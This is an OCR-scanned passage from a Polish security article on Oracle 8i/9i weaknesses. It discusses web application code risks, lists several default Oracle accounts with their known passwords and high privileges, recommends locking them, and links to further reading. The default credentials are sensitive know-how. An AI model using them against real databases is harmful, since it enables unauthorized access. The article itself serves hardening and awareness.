platformy jaka jest serwer aplikacji nie sg tak kluczowe,
jak btedy popetniane przez twércéw udostepnianych przez
ten serwer aplikacji WWW. Sercem kazdej instalacji typu
serwer aplikacyjny jest oprogramowanie stworzone Scisle
do okreslonych potrzeb. Programy te w postaci skryptéw
PL/SQL, JSP, serwletéw Java itp. dziatajg na serwerach
WWW i komunikujg sie z baza danych. Pamietajmy o tym,
ze kazdy btad popetniony przez programiste w tego typu
skryptach moze owocowaé nieobliczalnymi skutkami.
Skrypty te sg o tyle groZne, ze ich istotg dziatania
jest interakcja z czesto anonimowym uzytkownikiem
Z Internetu. A poniewaz uzywajg one protokotu HTTP
zagrozenia z nimi zwigzane nie dajg sie kontrolowaé za
pomocg tradycyjnych mechanizméw obrony jakimi sag
firewalle i IDS-y. Jedynym Srodkiem ochrony jest uwazny
audyt kodu przez odpowiednich fachowcéw.

Uwagi uzupetniajace

Poza zaprezentowanymi tutaj metodami ataku warto

wspomnie¢ o ustawieniach standardowych Oracle, ktére

moga utatwi¢ zadanie intruzowi. Kuriozalnym wrecz

przyktadem sg tu powszechnie znane konta i hasta obecne

w standardowej instalacji Oracle. W Internecie mozna

znaleZ¢ liste ponad 100 kont standardowo instalowanych

przez Oracle 8i/9i oraz produkty towarzyszace. Z reguty

sg to wewnetrzne konta systemu lub konta zwigzane z

aplikacjami demo. W Oracle 8i (8.1.7) kilka z tych kont ma

bardzo wysokie uprawnienia:

e CTXSYS (hasto CTXSYS) - DBA
(administrator bazy),

e TRACESVR (hasto TRACE) — uprawnienia select any
table,

e MDSYS (hasto MDSYS) — zestaw bardzo wysokich
uprawnien.

uprawnienia

Charakterystyczne jest to, ze konta te wigzg sie z
marginalng funkcjonalnoscig Oracle. Np. CTXSYS to
konto potrzebne do dziatania pakietu potrzebnego do
kontekstowego przeszukiwania dokumentéw, a MDSYS do
obstugi danych wielowymiarowych (np. w systemach GIS).

Producent zaleca usuniecie Ilub zablokowanie
kluczowych kont o ile dana funkcjonalno$¢ nie jest
uzywana, jednak spora liczba administratoréw (nie tylko
Oracle) nie bierze pod uwage tych zalecen.
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Podsumowanie
Powyzszy artykut omawia tylko kilka najbardziej
reprezentatywnych zagrozei charakterystycznych dla
spotykanych w praktyce instalacji Oracle. Staratem sie
zaprezentowaé zaréwno klasyczne zagrozenia wynikajgce
z btedéw popetnionych przez producenta (np. buffer-
overflow) jak tez wynikajgce z niebezpiecznej konfiguracji
serwis6w w instalacji standardowej, obecnosci skryptéw
demo czy nawet nieprawidtowych zatozen projektowych.
Oracle to zaawansowany produkt bazodanowy, integrujacy
mnéstwo réznych technologii. W zwigzku z tym strojenie
bezpieczenstwa Oracle to zadanie bardzo trudne.
Oczywiscie — nie ma oprogramowania bez bteddw,
jednak ich jakoS¢ czy wrecz trywialnos¢ w przypadku
produktéw Oracle pozwala twierdzi¢, ze nie sa one
Zbyt bezpieczne w konfiguracji standardowej. Tym
bardziej kuriozalnie brzmi hasto reklamowe producenta
Oracle — The Unbreakable: You can’t break it, you can’t
break in (Nie do ztamania — Nie mozesz jej ztamaé, nie
mozesz sie wtamac). Bruce Schneier — Swiatowej stawy
kryptolog i specjalista od bezpieczeristwa systeméw IT
— skomentowat te hasto w ten sposéb: "Unbreakable" has
a meaning. It means that it can’t be broken.(...) | don’t
care who Larry Ellison (szef Oracle) is; he can’t rewrite the
dictionary. (Crypto-Gram Newsleter, 15 luty 2002, http:
//www.counterpane.com/crypto-gram-0202.html#6)
Warto jednak pamietaé o tym, ze zadaniem
administratora (lub integratora) jest wtasciwie przygotowac
instalacje produkcyjng. W tym odpowiednio jg utwardzi¢
i usungé¢ zbednag funkcjonalnosé, wedtug zalecen
producenta i Zrédet niezaleznych. To wtasnie tego typu
niedociggniecia stanowig najwieksze Zrédto podatnosci
na ataki.l
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W Sieci

http://echelon.pl/wojtekd — strona domowa autora
— artykuty i prezentacje dotyczace bezpieczenstwa
Oracle (i nie tylko)
http://www.ploug.org.pl/gazetka/23/11.htm
— Wojciech Dworakowski, Wybrane metody atakow
na Oracle 8i
http://www.ploug.org.pl/gazetka/24,/10.htm
— Wojciech Dworakowski, tukasz Luzar, Ataki SQL-
injection
http://otn.oracle.com/deploy/security/alerts.htm
— Oracle Security Alerts

http://www.ploug.org.pl -> Gazetka — w kazdym
numerze (od 24) Biuletyn Bezpieczeristwa PLOUG
http://www.nextgenss.com/papers/hpoas.pdf
— David Litchfield, Hackproofing Oracle Application
Server
http://www.appsecinc.com/presentations/
Protecting_Oracle_Databases_White_Paper.pdf
— Protecting Oracle Databases
http://www.jammed.com/~jwa/hacks/security/
tnscmd/tnscmd-doc.html — dokumentacja skryptu
tnsemd
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